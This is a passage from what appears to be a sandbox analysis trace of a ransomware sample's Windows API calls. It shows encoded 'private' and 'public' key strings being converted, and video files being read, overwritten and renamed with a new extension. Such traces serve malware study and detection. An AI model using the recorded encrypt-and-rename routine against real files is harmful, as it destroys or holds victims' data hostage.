pE7Co1EQXzFiYsOPCMKcwpg7TsKJw41rwpQGw5DDvA==", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2469 [0087.520] GetCurrentThreadId () returned 0xa30 [0087.520] GetCurrentThreadId () returned 0xa30 [0087.520] GetCurrentThreadId () returned 0xa30 [0087.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0087.521] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", cchWideChar=644, lpMultiByteStr=0x2c6bc7c, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICHnfDhcKDFsOjdsKKbynCtsOoaxrCkhY4w6AVwp7DvHnCtcKbwoTDh08Gw6/DpRnDlREFwoXDixLCoQvCjsOKw4LCuzkawrgRwozCo0RpcXlMeigRFWJrwqDDnRrDl2VDworChcO3ZsKkNsO5w4gROsOEfMOnw5xiwqXCuH48wootw43ClEDDoj3CuBw2MGhyw7zDgsOuccK4woXCpU3CosOCccKywqjDpMOnAcKnesKjWMKJbxbCrcKwK8OjaxLChiJFwobCpsOHVDDDvMKRKcKrwpMVwoh5w4dUwp4Cw4FEPVvDnsOCwobDlHbDnsKkw7c8w6HDisOHwpIMMwYQwr0Dw4PDg2/DizPCngI0AsKiw65tXsK3eMK8woDCrkzCqcKALRDDqTnCpsOXw5x8w4Y5w5QMwrs2w5d+wrljFMOSLALCuTNNKT3DpVR8w60da8OgwokRa0tlw57Ck1/DkWXCp8K+PcOHw5fDo8OPwobDvy8pO8KTw4c/wqzCviwTOcKrw4EVJTM0wqAWAxVYBlAGwpfDj8OqE29aCQzCqH9FZUBBw57DnMOxPk0EZ8Krw4duW3ccZsOKwpTCm2o0AjvDg8OxNkVxw48wwrDCncOww43CmQsMw55A", lpUsedDefaultChar=0x0) returned 644 [0087.521] GetCurrentThreadId () returned 0xa30 [0087.521] GetCurrentThreadId () returned 0xa30 [0087.521] GetCurrentThreadId () returned 0xa30 [0087.522] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jm93yygfimkrpux-vb_0.flv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.522] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f694*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f694*=0) returned 0x0 [0087.522] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.522] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0xa67d [0087.522] SetFilePointer (in: hFile=0x11c, lDistanceToMove=0, lpDistanceToMoveHigh=0x18f68c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x18f68c*=0) returned 0x0 [0087.522] ReadFile (in: hFile=0x11c, lpBuffer=0x1efff40, nNumberOfBytesToRead=0xa67d, lpNumberOfBytesRead=0x18f6a0, lpOverlapped=0x0 | out: lpBuffer=0x1efff40*, lpNumberOfBytesRead=0x18f6a0*=0xa67d, lpOverlapped=0x0) returned 1 [0087.524] CloseHandle (hObject=0x11c) returned 1 [0087.525] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jm93yygfimkrpux-vb_0.flv"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x11c [0087.527] WriteFile (in: hFile=0x11c, lpBuffer=0x1f0bf70*, nNumberOfBytesToWrite=0xa67d, lpNumberOfBytesWritten=0x18f6ac, lpOverlapped=0x0 | out: lpBuffer=0x1f0bf70*, lpNumberOfBytesWritten=0x18f6ac*=0xa67d, lpOverlapped=0x0) returned 1 [0087.530] CloseHandle (hObject=0x11c) returned 1 [0087.532] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jm93yygfimkrpux-vb_0.flv"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\Jm93YYgfImkrpUx-Vb_0.flv.Zv7uN" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jm93yygfimkrpux-vb_0.flv.zv7un")) returned 1 [0087.533] GetCurrentThreadId () returned 0xa30 [0087.533] GetCurrentThreadId () returned 0xa30 [0087.533] GetCurrentThreadId () returned 0xa30 [0087.533] GetCurrentThreadId () returned 0xa30 [0087.533] GetCurrentThreadId () returned 0xa30 [0087.533] GetCurrentThreadId () returned 0xa30 [0087.534] FindNextFileW (in: hFindFile=0x6aa040, lpFindFileData=0x18f7d8 | out: lpFindFileData=0x18f7d8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945d940, ftCreationTime.dwHighDateTime=0x1d5dcc2, ftLastAccessTime.dwLowDateTime=0x8a28c9c0, ftLastAccessTime.dwHighDateTime=0x1d5e687, ftLastWriteTime.dwLowDateTime=0x8a28c9c0, ftLastWriteTime.dwHighDateTime=0x1d5e687, nFileSizeHigh=0x0, nFileSizeLow=0x1507c, dwReserved0=0x2e0000, dwReserved1=0x66000066, cFileName="jRDJUl7IMjUxPV.mkv", cAlternateFileName="JRDJUL~1.MKV")) returned 1 [0087.534] FileTimeToLocalFileTime (in: lpFileTime=0x18f7ec, lpLocalFileTime=0x18f74c | out: lpLocalFileTime=0x18f74c) returned 1 [0087.534] FileTimeToDosDateTime (in: lpFileTime=0x18f74c, lpFatDate=0x18f7ba, lpFatTime=0x18f7b8 | out: lpFatDate=0x18f7ba, lpFatTime=0x18f7b8) returned 1 [0087.534] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jrdjul7imjuxpv.mkv"), fInfoLevelId=0x0, lpFileInformation=0x18f6e0 | out: lpFileInformation=0x18f6e0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8945d940, ftCreationTime.dwHighDateTime=0x1d5dcc2, ftLastAccessTime.dwLowDateTime=0x8a28c9c0, ftLastAccessTime.dwHighDateTime=0x1d5e687, ftLastWriteTime.dwLowDateTime=0x8a28c9c0, ftLastWriteTime.dwHighDateTime=0x1d5e687, nFileSizeHigh=0x0, nFileSizeLow=0x1507c)) returned 1 [0087.534] GetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\nnuix\\jrdjul7imjuxpv.mkv")) returned 0x20 [0087.534] SetFileAttributesW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\nNUix\\jRDJUl7IMjUxPV.mkv", dwFileAttributes=0x80) returned 1 [0087.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2469 [0087.536] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2469, lpMultiByteStr=0x1ef003c, cbMultiByte=2469, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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